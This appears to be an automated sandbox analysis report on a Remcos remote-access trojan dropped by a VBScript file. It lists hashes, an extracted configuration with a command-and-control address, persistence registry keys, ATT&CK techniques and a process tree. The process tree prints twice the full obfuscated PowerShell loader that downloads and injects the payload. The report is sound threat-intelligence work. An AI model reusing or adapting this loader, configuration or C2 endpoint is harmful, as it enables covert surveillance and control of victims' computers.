remcos | 6c6329c8ab3fa52c199cbbf9b270f8faaa05dc74d7f78cbd5ac8bbea61ef49bc

General

Target

Brooming.vbs
Size

46KB
MD5

fbcaeb4144c55d299c7703277c01c329
SHA1

bc1b38c0454d1badf6ce204029a856a971f156c1
SHA256

6c6329c8ab3fa52c199cbbf9b270f8faaa05dc74d7f78cbd5ac8bbea61ef49bc
SHA512

b0a55cfcf5cc6a147d1b886dc5b91354ac16b63bbb3f7ee75d77567c76e5b537c141663c8688422a967a9005afebab1edeb6a53b72f5f53970f4cc49b79f0962
SSDEEP

768:s4jyyG+RN4ot+jCI5zZPoxnUMDUWnaaEUuZplI8Z9TDgAuovEKFgS:syyFMujCI5zZEnUM5a3USHLcAEAJ

Score

10^/10

remcos remotehost discovery persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

154.216.20.209:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
true
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-BNP8PO
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2020	powershell.exe
7	844	msiexec.exe
9	844	msiexec.exe

Executes dropped EXE 1 IoCs

pid	Process
808	remcos.exe

Loads dropped DLL 1 IoCs

pid	Process
844	msiexec.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Windows\CurrentVersion\Run\Rmc-BNP8PO = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Rmc-BNP8PO = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
844	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2556	powershell.exe
844	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	remcos.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2020	powershell.exe
2556	powershell.exe
2556	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2556	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2392 wrote to memory of 2020	2392	WScript.exe	31
PID 2392 wrote to memory of 2020	2392	WScript.exe	31
PID 2392 wrote to memory of 2020	2392	WScript.exe	31
PID 2556 wrote to memory of 844	2556	powershell.exe	36
PID 2556 wrote to memory of 844	2556	powershell.exe	36
PID 2556 wrote to memory of 844	2556	powershell.exe	36
PID 2556 wrote to memory of 844	2556	powershell.exe	36
PID 2556 wrote to memory of 844	2556	powershell.exe	36
PID 2556 wrote to memory of 844	2556	powershell.exe	36
PID 2556 wrote to memory of 844	2556	powershell.exe	36
PID 2556 wrote to memory of 844	2556	powershell.exe	36
PID 844 wrote to memory of 808	844	msiexec.exe	37
PID 844 wrote to memory of 808	844	msiexec.exe	37
PID 844 wrote to memory of 808	844	msiexec.exe	37
PID 844 wrote to memory of 808	844	msiexec.exe	37
PID 844 wrote to memory of 808	844	msiexec.exe	37
PID 844 wrote to memory of 808	844	msiexec.exe	37
PID 844 wrote to memory of 808	844	msiexec.exe	37

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Brooming.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Sarcosome; function Relationsdatabasemodellen($Omgngelsernes){$Skinfulndustrivirksomheden=4;$Skinful=$Skinfulndustrivirksomheden;do{$Klasselotteriets+=$Omgngelsernes[$Skinful];$Skinful+=5} until(!$Omgngelsernes[$Skinful])$Klasselotteriets}function Woodranger($Henequen){ .($Ludgate) ($Henequen)}$Akvavitters3=Relationsdatabasemodellen 'Vif nS miernketBrid. SliW';$Akvavitters3+=Relationsdatabasemodellen 'Styre OveB dspc.eneL SynICaboEAstinConvt';$grounds=Relationsdatabasemodellen 'Sh,mMsammo ,dhz enbiMindl elpltidsa N,n/';$Komitadji=Relationsdatabasemodellen 'KlebT LowlEft sBrie1Albu2';$Parodi='P al[ oseNcapeeEkspTVild.G.noSBoulELic.RTilbvAmasi Sa.cWindeNon,PGenno BariArchnLi nTTinkmLit.akol N BedaSnekgOrchEB,virLina]Rgni:Fors:SupesInfeERorpcT lsUsp nRVen ivurdt unlyLokaP H lrGastOIndht G nOSti cOpdrOStanLC ha=Gibb$ M rkSlarO Liqm surIPo,tTRe,sAPrehdLa.tJRednI';$grounds+=Relationsdatabasemodellen 'Thr.5Logg.,egl0Ung D,se( RekWBasiiSkrinPremd AlloFasewT lbs win Re mN SveThjem Feri1Denu0swit.meda0Di p;Vand ArpW SeliDiskn ,vi6Inst4Efte;P.os Tocxdobb6 Unp4augu; S,o Or fr Pasvluna:Pa,c1Bldt3Hjer1H mr.Cont0Arch)Fire KnacGFlokeCom cAntik taloDose/Sy p2Inde0Varm1Unde0eigh0Apes1Hexa0Foot1Sacc PrefF PutiDi prClume Kv fStado pylxChil/Fjer1Germ3Unti1Slad.Locu0';$Sinecurist=Relationsdatabasemodellen 'Hemmu M,nsTurkEBio r Per-RetrAT.trgFluoEAn,iNUbnht';$statsretten=Relationsdatabasemodellen 'SpathHjadt pstt AerpskolsUdbo: Fin/ Myt/M veoBetofTurr1Ch oxK ll.GodpiUnjucjouruconr/GoblpSyndnT.ksTA atC Ep.lVaniIJudejschaBSpir/DepeS dowh ineoDecitMartsUniotAnhoaRetrrV nd.Achep Tits ,osd';$Bentjs=Relationsdatabasemodellen 'vilj>';$Ludgate=Relationsdatabasemodellen 'F eeiKo,bEEnk X';$Anticiperede='Filtercigarets';$Gushy='\Knapmagerens.Stu';Woodranger (Relationsdatabasemodellen 'Hyp $FestgUsynL CowOPhasbEr dA DeplBegy:M niBI.niNLystd orpsUncoLLazyeA leTFrejSPibe=Cut.$PjasE uinAlleVAd n:Afsia OliPNavlpO toDJam.aDrjdT derA,ree+T.ea$RenrGBilbUU frS G.khmosey');Woodranger (Relationsdatabasemodellen ' Vil$ Glagh nllDeltoRetrBQuohaBarbLBrn.:ConcMMisaY prASdfilPe.ogPaddiTypecInfr=Ferr$AbiusMarmTSnebaAfruTConcS TekRPlaneHaret port utoe nkNU ie.Depus,nviPOleslPap IHoltTDeal(Exos$Co cB.iogECoornEtt.TSul J SlesItem)');Woodranger (Relationsdatabasemodellen $Parodi);$statsretten=$Myalgic[0];$Pyemesis=(Relationsdatabasemodellen 'Draa$GeckGCo tL garOEf eBFor.AFluil nfa:ReseY Kv oBrugmBioleSkriRPerc=BrugNFif EHalswFors- acOFossBStlgJudvaeNistcCanaTUgen Hov,SDa,ay CansHandTs ineMereM Sce. Nat$,nveAR,inK T.lVDaniaulveVCiseITrkuTC,ndt rygE UndRLavaS Equ3');Woodranger ($Pyemesis);Woodranger (Relationsdatabasemodellen ' omr$Sl pY ,ilos,pem rabeOmplrIrri.Mys HAnace R da JindCouneVentrForvs sek[Duel$UnsuSGaariFordnDok eHjrncprobu Ge.r U riOut,sJobbtGril]Kr,d=Sjl.$IsolgWi.rrConsoStemuDrftnDiphd Stus');$Cricotus=Relationsdatabasemodellen ' Mid$Vi uYChrooLgnemSodeeD cerFedt.AndeDKardoReimwMichnIndslCharoUdb,a M.cdPreoFStudiHeddlUforeHur,(kor $Ta ssIndotTa oa tratHa rsPrinrModeeGstetForitPsykeExu n ack,Virg$TilfD Tn r Comiu.esvOssih.orduIn usoverpSelvlSkygaJylln un.tHus eOvernBog sCata)';$Drivhusplantens=$Bndslets;Woodranger (Relationsdatabasemodellen 'Chic$VerdG RevlBes,o S.sbOpfyaArbelkva,: CypSHidfePolycLseseP,irR ProNRdoveLaboNPerstBear=St.n( GriTWhaueDentSCallTAb s-EksppChelAHormtFog.h Reo Poly$FragDGarrR A rIHoloVLd.gHTranUTil,SProvpRefolCoaba bliNBeacTPatueBrecnIndaSUdsk)');while (!$Secernent) {Woodranger (Relationsdatabasemodellen 'Osvp$F nag WarlAfhooMuskb,leoaOystlJomf:GardGKo.teDagoaf derD emkKleraSj ps Ek sMoraeEnnes Er =Soli$Mortr.fske M,naRailtSmretBracrPhaniS ydbKugluSelst DeliT,kso Fu n') ;Woodranger $Cricotus;Woodranger (Relationsdatabasemodellen ' AriS CictT rkaAp,lRUdbeT Aan-PapeSTommlArite ntE H rPAn h Dep4');Woodranger (Relationsdatabasemodellen 'Se,e$Ag ngfakeLvindOC llb KimADeflL avo:PedaSblodETmmeCDisteEminR sdmN None ManNKa,rTSell= Az (SilkTIroneBaggS ritSuff-HorrPKatoaP,detRougHdr l Niv $AnaldUsafrVandiMa aVMin HTindUPre SIndkp,aprlA,uaA C nnPosttAla.eTubeNBasesUdsp)') ;Woodranger (Relationsdatabasemodellen 'cris$Re iGDiceLA.heOGirabOpsaarec LHvir:NondvSureiAd,oCVampTChaiI LanmEm liAntis fskI LacNKareGSche= er$CinegDespLSuspo ,aiB.pkkaBr.dlTi l:RustoJoosP.pans arntPrinOOptadPate+univ+Spio%Poly$MeanM upYThoraT lelIndbgIndiiPeruCPoor.HorrcAnnao ,ebuS rmnMel T') ;$statsretten=$Myalgic[$Victimising]}$Toxihemia=285000;$Houbara186=31460;Woodranger (Relationsdatabasemodellen ' Fej$CompgAfsvlLoggOAdytBSognaAntilR tc:Ps kIH ptn OveqProdUSoveiH kkeBolitIn,uUBi idiso ETek s Bol C.an=Koeo VladgB.trEWol.tEnv.- Va.c fo oOmstNSubstlsblER doNled.TSemi Coa$KoffDFyrrrGeneiE aiVAbsohSlaruEng SCrowPG rglI noASkr nIsolT AftePinsnRen s');Woodranger (Relationsdatabasemodellen 'hern$ C.ig G,nlPhagoEmanbBesta EkslS in:FordPPelauS rgiUninsNondtDkstiBacke But U de=g.ep Daa[MoniSO ery Ma s intC raeSt.mmIsle.tintCMitioCocknMirav Oble sacr Bekt Una]Angr:lay,:FiliFudkarSpilo,kabm amaB KutaRolfsFa te Le 6Hede4,xceS AtmtDialr GeniSphinTotagEnes(S et$FuldIPalenNrreq KanuOr,giDemee BabtC,cauXuhadChtheStansHerb)');Woodranger (Relationsdatabasemodellen 'Cust$GottgUna LSkiloDhy,B ChiaBaarlPale:GeneAChevpNondrUn eaBotoxNonmI,ekoa Rst2Apat2 Unl6Aud. Eent=Hy.r hom[ Fo StabuyBandsChipT SpaeRessm ,ss. AffT SubETe sXfrigtThog. .ubeKostnSpirC BeaoBa kDLivaiBiv n CocGMaha]expe: ,ip:Ad,eApasss.ygecHypoiSiphIBi t.NotegTraneSanst,gnosPerstAfisrStaniDryonOscugEdd (Kosm$ Ud,pHotluSejriGigasAndot unsI,umbeforb)');Woodranger (Relationsdatabasemodellen ' win$Gr sG ublS akOOp.aBunbeA.lanlPatu: U vmAandeE,sitWiseaEfteLLusto.onsPRoa.hAn u=Afhs$ TaraPot,PTalerAutoaudviXCen.i SkoARepr2Glyp2Arki6Klas.Ni esdukau PoobPurpsIntetSilkr SquI FjeNVellgsesa(Sol $EksptBilloBreeXS,seiA alh Gase Gl Mau diDrhaaUnco,Fol $ timhOv.rOS mmuPho.bfodeAForrr bonAOrri1Exa.8 A p6Tilb)');Woodranger $Metaloph;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2020

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "echo $Sarcosome; function Relationsdatabasemodellen($Omgngelsernes){$Skinfulndustrivirksomheden=4;$Skinful=$Skinfulndustrivirksomheden;do{$Klasselotteriets+=$Omgngelsernes[$Skinful];$Skinful+=5} until(!$Omgngelsernes[$Skinful])$Klasselotteriets}function Woodranger($Henequen){ .($Ludgate) ($Henequen)}$Akvavitters3=Relationsdatabasemodellen 'Vif nS miernketBrid. SliW';$Akvavitters3+=Relationsdatabasemodellen 'Styre OveB dspc.eneL SynICaboEAstinConvt';$grounds=Relationsdatabasemodellen 'Sh,mMsammo ,dhz enbiMindl elpltidsa N,n/';$Komitadji=Relationsdatabasemodellen 'KlebT LowlEft sBrie1Albu2';$Parodi='P al[ oseNcapeeEkspTVild.G.noSBoulELic.RTilbvAmasi Sa.cWindeNon,PGenno BariArchnLi nTTinkmLit.akol N BedaSnekgOrchEB,virLina]Rgni:Fors:SupesInfeERorpcT lsUsp nRVen ivurdt unlyLokaP H lrGastOIndht G nOSti cOpdrOStanLC ha=Gibb$ M rkSlarO Liqm surIPo,tTRe,sAPrehdLa.tJRednI';$grounds+=Relationsdatabasemodellen 'Thr.5Logg.,egl0Ung D,se( RekWBasiiSkrinPremd AlloFasewT lbs win Re mN SveThjem Feri1Denu0swit.meda0Di p;Vand ArpW SeliDiskn ,vi6Inst4Efte;P.os Tocxdobb6 Unp4augu; S,o Or fr Pasvluna:Pa,c1Bldt3Hjer1H mr.Cont0Arch)Fire KnacGFlokeCom cAntik taloDose/Sy p2Inde0Varm1Unde0eigh0Apes1Hexa0Foot1Sacc PrefF PutiDi prClume Kv fStado pylxChil/Fjer1Germ3Unti1Slad.Locu0';$Sinecurist=Relationsdatabasemodellen 'Hemmu M,nsTurkEBio r Per-RetrAT.trgFluoEAn,iNUbnht';$statsretten=Relationsdatabasemodellen 'SpathHjadt pstt AerpskolsUdbo: Fin/ Myt/M veoBetofTurr1Ch oxK ll.GodpiUnjucjouruconr/GoblpSyndnT.ksTA atC Ep.lVaniIJudejschaBSpir/DepeS dowh ineoDecitMartsUniotAnhoaRetrrV nd.Achep Tits ,osd';$Bentjs=Relationsdatabasemodellen 'vilj>';$Ludgate=Relationsdatabasemodellen 'F eeiKo,bEEnk X';$Anticiperede='Filtercigarets';$Gushy='\Knapmagerens.Stu';Woodranger (Relationsdatabasemodellen 'Hyp $FestgUsynL CowOPhasbEr dA DeplBegy:M niBI.niNLystd orpsUncoLLazyeA leTFrejSPibe=Cut.$PjasE uinAlleVAd n:Afsia OliPNavlpO toDJam.aDrjdT derA,ree+T.ea$RenrGBilbUU frS G.khmosey');Woodranger (Relationsdatabasemodellen ' Vil$ Glagh nllDeltoRetrBQuohaBarbLBrn.:ConcMMisaY prASdfilPe.ogPaddiTypecInfr=Ferr$AbiusMarmTSnebaAfruTConcS TekRPlaneHaret port utoe nkNU ie.Depus,nviPOleslPap IHoltTDeal(Exos$Co cB.iogECoornEtt.TSul J SlesItem)');Woodranger (Relationsdatabasemodellen $Parodi);$statsretten=$Myalgic[0];$Pyemesis=(Relationsdatabasemodellen 'Draa$GeckGCo tL garOEf eBFor.AFluil nfa:ReseY Kv oBrugmBioleSkriRPerc=BrugNFif EHalswFors- acOFossBStlgJudvaeNistcCanaTUgen Hov,SDa,ay CansHandTs ineMereM Sce. Nat$,nveAR,inK T.lVDaniaulveVCiseITrkuTC,ndt rygE UndRLavaS Equ3');Woodranger ($Pyemesis);Woodranger (Relationsdatabasemodellen ' omr$Sl pY ,ilos,pem rabeOmplrIrri.Mys HAnace R da JindCouneVentrForvs sek[Duel$UnsuSGaariFordnDok eHjrncprobu Ge.r U riOut,sJobbtGril]Kr,d=Sjl.$IsolgWi.rrConsoStemuDrftnDiphd Stus');$Cricotus=Relationsdatabasemodellen ' Mid$Vi uYChrooLgnemSodeeD cerFedt.AndeDKardoReimwMichnIndslCharoUdb,a M.cdPreoFStudiHeddlUforeHur,(kor $Ta ssIndotTa oa tratHa rsPrinrModeeGstetForitPsykeExu n ack,Virg$TilfD Tn r Comiu.esvOssih.orduIn usoverpSelvlSkygaJylln un.tHus eOvernBog sCata)';$Drivhusplantens=$Bndslets;Woodranger (Relationsdatabasemodellen 'Chic$VerdG RevlBes,o S.sbOpfyaArbelkva,: CypSHidfePolycLseseP,irR ProNRdoveLaboNPerstBear=St.n( GriTWhaueDentSCallTAb s-EksppChelAHormtFog.h Reo Poly$FragDGarrR A rIHoloVLd.gHTranUTil,SProvpRefolCoaba bliNBeacTPatueBrecnIndaSUdsk)');while (!$Secernent) {Woodranger (Relationsdatabasemodellen 'Osvp$F nag WarlAfhooMuskb,leoaOystlJomf:GardGKo.teDagoaf derD emkKleraSj ps Ek sMoraeEnnes Er =Soli$Mortr.fske M,naRailtSmretBracrPhaniS ydbKugluSelst DeliT,kso Fu n') ;Woodranger $Cricotus;Woodranger (Relationsdatabasemodellen ' AriS CictT rkaAp,lRUdbeT Aan-PapeSTommlArite ntE H rPAn h Dep4');Woodranger (Relationsdatabasemodellen 'Se,e$Ag ngfakeLvindOC llb KimADeflL avo:PedaSblodETmmeCDisteEminR sdmN None ManNKa,rTSell= Az (SilkTIroneBaggS ritSuff-HorrPKatoaP,detRougHdr l Niv $AnaldUsafrVandiMa aVMin HTindUPre SIndkp,aprlA,uaA C nnPosttAla.eTubeNBasesUdsp)') ;Woodranger (Relationsdatabasemodellen 'cris$Re iGDiceLA.heOGirabOpsaarec LHvir:NondvSureiAd,oCVampTChaiI LanmEm liAntis fskI LacNKareGSche= er$CinegDespLSuspo ,aiB.pkkaBr.dlTi l:RustoJoosP.pans arntPrinOOptadPate+univ+Spio%Poly$MeanM upYThoraT lelIndbgIndiiPeruCPoor.HorrcAnnao ,ebuS rmnMel T') ;$statsretten=$Myalgic[$Victimising]}$Toxihemia=285000;$Houbara186=31460;Woodranger (Relationsdatabasemodellen ' Fej$CompgAfsvlLoggOAdytBSognaAntilR tc:Ps kIH ptn OveqProdUSoveiH kkeBolitIn,uUBi idiso ETek s Bol C.an=Koeo VladgB.trEWol.tEnv.- Va.c fo oOmstNSubstlsblER doNled.TSemi Coa$KoffDFyrrrGeneiE aiVAbsohSlaruEng SCrowPG rglI noASkr nIsolT AftePinsnRen s');Woodranger (Relationsdatabasemodellen 'hern$ C.ig G,nlPhagoEmanbBesta EkslS in:FordPPelauS rgiUninsNondtDkstiBacke But U de=g.ep Daa[MoniSO ery Ma s intC raeSt.mmIsle.tintCMitioCocknMirav Oble sacr Bekt Una]Angr:lay,:FiliFudkarSpilo,kabm amaB KutaRolfsFa te Le 6Hede4,xceS AtmtDialr GeniSphinTotagEnes(S et$FuldIPalenNrreq KanuOr,giDemee BabtC,cauXuhadChtheStansHerb)');Woodranger (Relationsdatabasemodellen 'Cust$GottgUna LSkiloDhy,B ChiaBaarlPale:GeneAChevpNondrUn eaBotoxNonmI,ekoa Rst2Apat2 Unl6Aud. Eent=Hy.r hom[ Fo StabuyBandsChipT SpaeRessm ,ss. AffT SubETe sXfrigtThog. .ubeKostnSpirC BeaoBa kDLivaiBiv n CocGMaha]expe: ,ip:Ad,eApasss.ygecHypoiSiphIBi t.NotegTraneSanst,gnosPerstAfisrStaniDryonOscugEdd (Kosm$ Ud,pHotluSejriGigasAndot unsI,umbeforb)');Woodranger (Relationsdatabasemodellen ' win$Gr sG ublS akOOp.aBunbeA.lanlPatu: U vmAandeE,sitWiseaEfteLLusto.onsPRoa.hAn u=Afhs$ TaraPot,PTalerAutoaudviXCen.i SkoARepr2Glyp2Arki6Klas.Ni esdukau PoobPurpsIntetSilkr SquI FjeNVellgsesa(Sol $EksptBilloBreeXS,seiA alh Gase Gl Mau diDrhaaUnco,Fol $ timhOv.rOS mmuPho.bfodeAForrr bonAOrri1Exa.8 A p6Tilb)');Woodranger $Metaloph;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:844
- - C:\ProgramData\Remcos\remcos.exe
    "C:\ProgramData\Remcos\remcos.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Knapmagerens.Stu

Filesize
412KB

MD5
06d9d0ca2e545e2472691c84122a5372

SHA1
6d1af98a3741d350d3e3a5735c6db3bebedbba4b

SHA256
ee746e93f909fc27907a8bf180c62f0d334e549338da0fe7bb8eb5c229b77b5a

SHA512
37b10f2f7176651f142ed98acb794b4c97d7772a608861cafa2c696085b276b0097811c0c1b394c9aabc89f4612b280689fa69058e6068c78c8c27e75bd5e3e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WKMRRC36NUSSODW3QSI6.temp

Filesize
7KB

MD5
99195a53caee9d50f780056b82281030

SHA1
abd58ccf2e26fc37ddbb1ba3e03c743431857662

SHA256
b7e8fdee69107835b4f80c7834a787364906d734e18e5b29951b06ac52b60d3a

SHA512
fd38d6f9d7680aa2c9cf2066dba4ea57af8262c4f40c25f6c73b4aa1ecea50483a6d1bd21053b559d415227ddd7e7b459b48a25ac5f58b6e20535a6ef3cecb3e

Download Submit
\ProgramData\Remcos\remcos.exe

Filesize
71KB

MD5
eee470f2a771fc0b543bdeef74fceca0

SHA1
bd9bbb448dec04b1aaa8ae530e9814fdbce0a3d5

SHA256
78617ddf9a0067a32cb5d87a796c93a9618ac006ccdcb3c7c824fdeb6ec5fd59

SHA512
9a89fef9c26e3dc98afdc61eea66e2b4a52843495b3433c21b5a55e744db42268e3d10587817b4c8adc7bfcc99065e0f3a7b6a7a05b1218ce7bba129d5a105e2

Download Submit
memory/844-45-0x00000000002D0000-0x0000000001332000-memory.dmp

Filesize
16.4MB

Download
memory/844-36-0x00000000002D0000-0x0000000001332000-memory.dmp

Filesize
16.4MB

Download
memory/2020-8-0x000007FEF4EA0000-0x000007FEF583D000-memory.dmp

Filesize
9.6MB

Download
memory/2020-10-0x000007FEF4EA0000-0x000007FEF583D000-memory.dmp

Filesize
9.6MB

Download
memory/2020-11-0x000007FEF4EA0000-0x000007FEF583D000-memory.dmp

Filesize
9.6MB

Download
memory/2020-14-0x000007FEF515E000-0x000007FEF515F000-memory.dmp

Filesize
4KB

Download
memory/2020-15-0x000007FEF4EA0000-0x000007FEF583D000-memory.dmp

Filesize
9.6MB

Download
memory/2020-16-0x000007FEF4EA0000-0x000007FEF583D000-memory.dmp

Filesize
9.6MB

Download
memory/2020-9-0x000007FEF4EA0000-0x000007FEF583D000-memory.dmp

Filesize
9.6MB

Download
memory/2020-4-0x000007FEF515E000-0x000007FEF515F000-memory.dmp

Filesize
4KB

Download
memory/2020-6-0x0000000001C80000-0x0000000001C88000-memory.dmp

Filesize
32KB

Download
memory/2020-7-0x000007FEF4EA0000-0x000007FEF583D000-memory.dmp

Filesize
9.6MB

Download
memory/2020-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2556-20-0x00000000065C0000-0x000000000B982000-memory.dmp

Filesize
83.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads